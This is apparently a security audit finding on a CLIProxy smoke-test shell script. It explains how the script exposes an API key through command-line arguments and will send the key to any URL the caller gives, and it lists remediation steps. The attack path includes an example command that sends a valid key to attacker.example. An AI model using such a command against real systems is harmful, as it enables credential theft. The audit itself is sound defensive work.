T09 · Insecure Skill Coding Practices
- Location
scripts/smoke-test.sh:4- Finding
API Key Exposure Through Command-Line Arguments and Unrestricted Endpoint Selection
- Content
View full analysis
Vulnerability Details
File Location:
scripts/smoke-test.sh, lines 4–21
Vulnerability Type: Sensitive credential exposure and insecure network transmission
Risk Level: Highbash BASE_URL="${1:-}" API_KEY="${2:-}" MODEL="${3:-}" if [[ -z "$BASE_URL" || -z "$API_KEY" || -z "$MODEL" ]]; then echo "usage: $0 <base-url> <api-key> <model>" >&2 exit 1 fi curl -sS "$BASE_URL/models" \ -H "Authorization: Bearer $API_KEY" | sed -n '1,40p' echo echo '{"model":"'"$MODEL"'","messages":[{"role":"user","content":"ping"}]}' | \ curl -sS "$BASE_URL/chat/completions" \ -H "Authorization: Bearer $API_KEY" \ -H "Content-Type: application/json" \ -d @- | sed -n '1,80p'Technical Analysis
The smoke-test script accepts the API key as its second command-line argument. This can expose the credential through shell history, process inspection, audit telemetry, command logging, or automation logs. The expanded key is also passed to
curlas part of its argument vector.The caller completely controls
BASE_URL, and the script does not require HTTPS or validate the destination before attaching the bearer token. A user can therefore accidentally send the key over plaintext HTTP or directly to an attacker-controlled server. Sending a bearer token to the intended CLIProxy endpoint is necessary for the smoke test, but passing it through process arguments and allowing arbitrary insecure destinations exceeds the minimum safe handling required.Attack Path
- An attacker supplies or recommends an attacker-controlled URL, or a plaintext HTTP URL, as the smoke-test base URL.
- The victim runs the script with a valid CLIProxy API key:
scripts/smoke-test.sh http://attacker.example valid-key model-name - The script places the key in command-line arguments and sends it in the
Authorizationheader to the supplied endpoint. - The attacker records the bearer tok ...[truncated 760 chars]
- Remediation
View remediation
Remediation Suggestions
- Do not accept API keys as command-line arguments. Read the key from a protected environment variable, an access-restricted file, or hidden interactive input such as
read -r -s. - Avoid exposing the expanded authorization header in the
curlargument vector. Use a temporary curl configuration file with mode0600, a protected file descriptor, or another secret-injection mechanism that does not expose the key in process arguments. - Require HTTPS for non-loopback destinations. Permit plaintext HTTP only for explicitly recognized local development endpoints such as
127.0.0.1,localhost, or a Unix socket. - Validate the URL scheme and destination before constructing an authenticated request.
- Apply explicit curl protocol controls, such as
--proto '=https', for remote endpoints. - Keep redirects disabled unless they are required. If redirects are later enabled, ensure authorization headers cannot be forwarded to a different origin and restrict redirected protocols to HTTPS.
- Document immediate credential rotation when a key may have appeared in shell history, logs, telemetry, or an untrusted request.
- Consider issuing a narrowly scoped test credential with limited lifetime and quota rather than using a long-lived administrative key.
- Do not accept API keys as command-line arguments. Read the key from a protected environment variable, an access-restricted file, or hidden interactive input such as
